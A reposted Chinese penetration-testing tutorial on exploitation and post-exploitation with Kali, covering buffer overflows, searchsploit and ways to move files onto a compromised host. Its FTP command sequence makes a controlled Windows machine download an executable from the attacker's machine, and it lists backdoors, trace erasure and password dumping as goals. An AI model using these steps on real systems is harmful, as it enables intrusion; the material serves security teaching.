《Kali渗透基础》09. 漏洞利用、后渗透

news2024/11/26 12:30:20

kali渗透

  • 1:漏洞基本介绍
    • 1.1:漏洞从哪里来
    • 1.2:缓冲区溢出
    • 1.3:如何发现漏洞
  • 2:漏洞利用
    • 2.1:EXP 选择与修改
    • 2.2:避免有害的 EXP
  • 3:后渗透阶段
    • 3.1:Linux 上传文件
    • 3.2:Windows 上传文件


本系列侧重方法论,各工具只是实现目标的载体。
命令与工具只做简单介绍,其使用另见《安全工具录》。

本文以 kali-linux-2023.2-vmware-amd64 为例。

本文以原理为主。
这一部分技术更新换代很快。实操积累经验很重要。

1:漏洞基本介绍

1.1:漏洞从哪里来

  • 罪恶的根源——变量:对用户可操作的变量没有做限制。
  • 数据与代码边界不清

如下,是一个最简单的漏洞原理:

!/bin/bash

echo $1  # 直接以命令行执行,只希望打印用户输入的字符。

在这里插入图片描述

数据?代码?

1.2:缓冲区溢出

缓冲区溢出(Buffer Overflow)的含义是为缓冲区提供了多于其存储容量的数据

当缓冲区边界限制不严格时,由于变量传入畸形数据或程序运行错误,导致缓冲区被 “ 撑爆 ” ,从而覆盖了相邻内存区域的数据。

如果人为成功修改内存数据,可造成进程劫持,执行恶意代码,获取服务器控制权等后果。

参考文章:《缓冲区溢出攻击》

Windows 避免缓冲区溢出攻击的策略

  • DEP:阻止代码从数据页被执行
  • ASLR:随机内存地址加载执行程序和 DLL,每次重启地址变化

Linux 避免缓冲区溢出攻击的策略

  • DEP
  • ASLR
  • 堆栈 cookies
  • 堆栈粉碎

1.3:如何发现漏洞

  • 源码审计
  • 逆向工程
  • 模糊测试(Fuzz Testing)
    • 向程序堆栈注入半随机的数据,根据内存变化判断是否溢出
    • 数据生成器:生成随机、半随机数据
    • 测试工具:识别溢出漏洞

2:漏洞利用

除了手工发现漏洞,对于扫描到的已知漏洞,可以寻找已有的 EXP,在此基础上修改,以此适用于相关的项目。

“ EXP ” 通常指漏洞利用(Exploitation)或漏洞利用代码(Exploit)。

2.1:EXP 选择与修改

  • 对于网上公开的 EXP 代码,选择可信赖的 EXP 源(Exploit-db 等)。
  • Kali 自带工具:Searchsploit。
  • 要有能力修改 EXP(Python、Perl、Ruby、C、C++…)以满足不同环境需要。

示例01:使用 searchsploit 查询漏洞代码:

查找相关 EXP:

searchsploit windows .py

查询 EXP 路径:

searchsploit -p 38959.py

拷贝到当前文件夹:

cp /usr/share/exploitdb/shellcodes/generator/38959.py 38959.py

EXP 内容:

在这里插入图片描述

2.2:避免有害的 EXP

  • 不同的 EXP 对应不同的软件版本、offset、shellcode。
  • 系统补丁修补漏洞。
  • 扫描探测目标系统版本,搭建适当的测试环境。
  • 避免一锤子测试,了解漏洞原理,修改溢出代码。

3:后渗透阶段

在漏洞利用,获得目标控制权后:

  • 上传文件,加强控制
  • 提权,扩大对目标系统的控制能力
  • 擦除攻击痕迹
  • 安装后门,持久控制
  • Dump 密码,提取目标系统中存储的用户密码信息
  • 内网渗透

对于后渗透阶段:

  • 最大的挑战:防病毒软件
  • 使用合适的远程控制软件

3.1:Linux 上传文件

控制目标后,若目标是 Linux 系统,可选择以下方式上传文件:

  • netcat
  • curl
  • wget

以上都是 Linux 预装的工具,或者是很容易在 Linux 上安装的工具。

3.2:Windows 上传文件

Windows 缺少预装的下载工具。有以下方法传输文件:

  • TFTP

    • XP、2003 默认安装。其他 Win 系统要单独添加。
    • 经常被边界防火墙过滤。
    • Kali 上,使用 atftpd 命令作为服务器共享文件。
    • Windows 上,使用 tftp 命令获取文件。
  • FTP

    • 适用性比较广。
    • Linux 上可能需要安装 FTP 服务。
    • Windows 上,使用 echo 命令将相关操作写入 txt 文件。
    • 然后 Windows 上使用 ftp 命令操作此 txt 文件以获取下载。
    • 示例如下:
# 因为多是以命令行控制,为防止出现问题,将命令写入文件执行
# 假设 kali(192.168.1.129)已经控制了目标系统 Windows 
# 且 ftp 用户名:user1。密码:PassWorD
# 在控制的系统中分别执行以下命令

echo open 192.168.1.129 21 > ftp_test.txt
echo user1 >> ftp_test.txt
echo PassWorD >> ftp_test.txt
echo bin >> ftp_test.txt
echo GET whoami.exe >> ftp_test.txt
echo bye >> ftp_test.txt

# 完成后执行即可
ftp -s:ftp.txt
  • VBScript(Visual Basic Scripting Edition),一种微软开发的脚本语言,用于在 Windows 上编写和执行脚本。

  • DeBug:二进制文件操作。

除此以外,在 Kali 中 /usr/share/windows-binaries/ 目录下自带了一些可以上传到 Windows 上使用的工具,便于后续操作。

在这里插入图片描述


闭心塞意,不高瞻览者,死人之徒也哉!

——《论衡》(东汉)王充

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/780597.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

前后端分离windows本地nginx解决跨域

下载 http://nginx.org/en/download.html 命令 启动Nginx: nginx.exe start 快速停止或关闭Nginx: nginx.exe -s stop 正常停止或关闭Nginx: nginx.exe -s quit 配置文件修改重装载命令: nginx.exe -s reload 强制停用…

六边形架构

六边形架构 微服务系统架构微服务定义微服务系统设计 传统分层架构六边形架构参考资料 微服务系统架构 需求描述做什么的问题,架构描述怎么做的问题(描述组成系统的各部件及其之间的关系) 微服务定义 下面的定义来自周志明老师的 凤凰架构 微服务是一种通过多个小型…

2023牛客暑期多校第一场部分题解

索引 BCDHJKLM B 官方题解说是乱搞题,而我队友实际上也确实乱搞过去了( 就是先随便取两个点,有了两个点之后第三个点肯定选离这两个点构成的直线最远的那个,要不然没法包含整个凸多边形。这个过程可以用个三分。 但是确定了第三…

前端(八)——深入探索前端框架中的Diff算法:优化视图更新与性能提升

😊博主:小猫娃来啦 😊文章核心:深入探索前端框架中的Diff算法:优化视图更新与性能提升 文章目录 前端框架中的Diff算法概述vue和react框架的diff算法React的diff算法:Vue的diff算法: Diff算法在…

实训笔记7.20

实训笔记7.20 7.20一、座右铭二、HDFS宕机之后的副本数的问题三、MapReduce的工作流程(简单版本)四、Hadoop的序列化问题五、MR程序运行中InputFormat类的作用5.1 作用主要有两个5.2 有一个核心实现类--抽象类FileInputFormat 当输入的数据是文件的时候5…

【图像分类】基于LIME的CNN 图像分类研究(Matlab代码实现)

目录 💥1 概述 📚2 运行结果 🎉3 参考文献 🌈4 Matlab代码实现 💥1 概述 基于LIME(Local Interpretable Model-Agnostic Explanations)的CNN图像分类研究是一种用于解释CNN模型的方法。LIME是一…

实用的设计模式08——适配器模式

适配器的单词是Adapter,我们在开发时经常碰到叫做XxxAdapter的类,此时一般就是使用了适配器模式,适配器模式是非常常用,本文就对适配器模式做一个简单的介绍 文章目录 1、真实开发场景的问题引入2、适配器模式讲解2.1 核心类及类图…

2021年全国大学生电子设计竞赛H题——用电器分析识别装置

用电器分析识别装置 一、题目要求二、系统方案三、硬件设计3.1、ATT7022电参数采集模块 一、题目要求 任务 设计并制作一个根据电源线电流的电参量信息分析在用电器类别的装置。该装置具有学习和分析识别两种工作模式。在学习模式下,测试并存储用于识别各单件电器的…

百亿规模京东实时浏览记录系统的设计与实现 | 京东云技术团队

1. 系统介绍 浏览记录系统主要用来记录京东用户的实时浏览记录,并提供实时查询浏览数据的功能。在线用户访问一次商品详情页,浏览记录系统就会记录用户的一条浏览数据,并针对该浏览数据进行商品维度去重等一系列处理并存储。然后用户可以通过…

mybatis事物是如何和spring事物整合的

目录 1、mybatis事物管理器 2、SpringManagedTransactionFactory如何处理事物 3、spring事物如何设置connection连接到threadLocal 1、mybatis事物管理器 mybatis事物抽象接口类:Transaction。该接口定义了事物基本方法和获取数据库连接方法 该类有三个实现类Jd…

【本地开发快速添加localstoreage和cookie】

在本地开发时,通常会需要线上开发或测试环境的缓存,然而,如果缓存过多时,一个一个的复制key,value太过麻烦,于是本文介绍了一种快速设置缓存的方法。 cookie 需要用到插件,使用JSON格式导出&am…

PPT逻辑设计与完美呈现

PPT逻辑设计与完美呈现 https://haoxinyunxueyuan.zhixueyun.com/#/study/course/detail/detailInfoCD00——朱宁川 logo设计神器: https://www.zitijia.com/logodiy/index 一 PPT设计 第一章、PPT的灵魂设计-5W PPT灵魂设计(5W) 以终为始,从目标出发 why 目…

136. 只出现一次的数字

题目 题解一&#xff1a;采用map集合 class Solution {public static int singleNumber(int[] nums) {Map map new HashMap<Integer,Integer>();for (int i 0; i < nums.length; i) {//判断key是否重复&#xff0c;重复直接删掉重复的keyif (map.containsKey(nums[i…

JavaWeb 速通Servlet(请求转发和请求重定向)

目录 一、HttpServletRequest 1.简介 : 2.常用方法 : 1 getRequestURI() : 2 getRequestURL() : 3 getRemoteHost() : 4 getHeader(String header) : 5 getParameter(name) : 6 getParameterValues(name) : 7 getMethod() : 8 setAttribute(key, value) : 9 getAttrib…

面试之JVM的储存空间

Java8之后&#xff0c;取消了整个永久代区域&#xff0c;取而代之的是元空间。运行时常量池和静态常量池存放在元空间中&#xff0c;而字符串常量池依然存放在堆中。&#xff08;&#xff09; JVM允许时数据区 程序计数器的特点以及作用 &#xff1f; 1、程序计数器 是一块较…

protobuf学习

protobuf的安装 Windos版安装 下载地址&#xff1a;https://github.com/protocolbuffers/protobuf/releases 选择合适的版本下载 将下载的压缩包解压&#xff0c;把解压后文件的bin目录的路径配置到系统环境比变量Path中 在cmd 中执行 protoc --version 成功就说明安装成功了l…

Vue.js基础简答题

系列文章目录 后续补充 文章目录 系列文章目录前言一、库与框架的区别是什么&#xff1f;二、Vue.js 的核心特性有哪些&#xff1f;三、什么是数据驱动视图&#xff1f;四、MVVM 模型各部分含义是什么&#xff0c;在 Vue.js 中分别对应哪些功能&#xff1f;五、el 选项的作用是…

一)Stable Diffusion使用教程:安装

目前AI绘画最火的当属Midjorney和Stable Diffusion&#xff0c;但是由于Midjourney没有开源&#xff0c;因此我们主要分享下Stable Diffusion&#xff0c;后面有望补上Midjourney教程。 本节主要讲解Stable Diffusion&#xff08;以下简述SD&#xff09;的下载和安装。 1&…

uniapp查看ios打包后的Info.plist文件

最近在用 uni 开发 ios 的时候给项目添加了自定义的 Info.plist 文件&#xff0c;但是打包后发现并没有生效&#xff0c;才有了查看打包后的 Info.plist 文件想法。 HBuilderX3.6.5起&#xff0c;支持直接在应用项目中配置 iOS 平台的 Info.plist 和 资源文件&#xff08;Bundl…

pytest中生成allure报告时,测试报告中统计的用例数不正确

【问题描述】&#xff1a;pytest中生成allure报告时&#xff0c;测试报告中统计的用例数不正确&#xff0c;用例数总是比实际用例数多 【问题定位】&#xff1a;因为生成index.html的allure报告&#xff0c;是根据临时的json文件生成的。每次运行时&#xff0c;没有删除旧的js…